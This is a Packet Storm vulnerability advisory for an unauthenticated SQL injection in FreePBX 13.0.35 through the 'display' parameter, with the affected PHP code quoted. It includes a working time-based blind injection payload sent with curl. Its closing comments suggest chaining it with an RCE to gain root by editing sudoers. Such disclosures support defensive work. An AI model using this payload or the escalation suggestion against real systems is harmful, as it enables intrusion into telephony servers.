Freepbx 13.0.35 SQL Injection

2016-08-29T00:00:00
ID PACKETSTORM:138544
Type packetstorm
Reporter i-Hmx
Modified 2016-08-29T00:00:00

Description

                                        
                                            `Vulnerable software : Freepbx  
Tested version : 13.0.35  
vendor : freepbx.org  
Author : i-Hmx  
Email : n0p1337@gmail.com  
Home : sec4ever.com  
  
Freepbx suffer from unauthenticated sql injection flaw due to insufficient  
sanitization of "display" parameter  
  
File : admin/libraries/DB.class.php  
public function  
getAll($sql,$params=array(),$fetchmode=DB_FETCHMODE_DEFAULT) {  
//this is a sad workaround for people who couldn't follow  
documentation for functions  
$fetchmode = $this->isFetchMode($params) ? $params : $fetchmode;  
self::$error = null;  
try {  
$fetch = $this->correctFetchMode($fetchmode);  
if(!empty($params) && is_array($params)) {  
$this->res = $this->db->prepare($sql);  
------->>>>> $this->res->execute($params);  
return $this->res->fetchAll($fetch);  
}  
$this->res = $this->db->query($sql);  
if($this->res === false) {  
return false;  
}  
return $this->res->fetchAll($fetch);  
} catch (Exception $e) {  
return new DB_Error($e);  
}  
}  
  
File : admin/libraries/modulefunctions.class.php  
Line 593  
function getinfo($module = false, $status = false, $forceload =  
false) {  
  
global $amp_conf, $db;  
$modules = array();  
  
if ($module) {  
// get info on only one module  
$xml = $this->_readxml($module);  
if (!is_null($xml)) {  
$modules[$module] = $xml;  
// if status is anything else, it will be updated below  
when we read the db  
$modules[$module]['status'] = MODULE_STATUS_NOTINSTALLED;  
}  
  
// query to get just this one  
---===>>>> $sql = 'SELECT * FROM modules WHERE modulename =  
"'.$module.'"';  
}  
if ($module || !$modulelist->is_loaded()) {  
---===>>>$results = $db->getAll($sql,DB_FETCHMODE_ASSOC);  
if(DB::IsError($results)) {  
die_freepbx($sql."<br>\n".$results->getMessage());  
}  
  
File : admin/libraries/modulefunctions.legacy.php  
Line 52  
function module_getinfo($module = false, $status = false,  
$forceload = false) {  
_module_backtrace();  
$modulef = module_functions::create();  
---===>>> return $modulef->getinfo($module, $status, $forceload);  
}  
  
File : admin/views/noaccess.php  
<?php  
$display = isset($_REQUEST['display'])?$_REQUEST['display']:false;  
---===>>> $modinfo = \module_getinfo($display);  
  
'display' parameter is being passed to sql execute() func without perior  
sanitization which lead to obvious sql injection flaw without any  
pre-needed authentication  
POC :  
  
Normal request  
[root:/fpbx]# curl -o /dev/null -s -w "Total request time : %{time_connect}  
+ %{time_starttransfer} = %{time_total}\n" '  
http://x.x.x.x/admin/config.php?display=f4ris'  
Total request time : 0.001 + 0.309 = 0.334  
  
Sql injected  
[root:/fpbx]# curl -o /dev/null -s -w "Total request time : %{time_connect}  
+ %{time_starttransfer} = %{time_total}\n" '  
http://x.x.x.x/admin/config.php?display=f4ris  
"XOR(if(6661=6661,sleep(0.03),0))OR"*/'  
Total request time : 0.158 + 4.391 = 4.417  
# Mix this with the 13.0.35 RCE one , and you are ok to get root just by  
echoing asterisk to the sudoers ;)  
# We're still ruling the game idiots , from Eg-R1z with dust xDD  
# ./f4ris  
`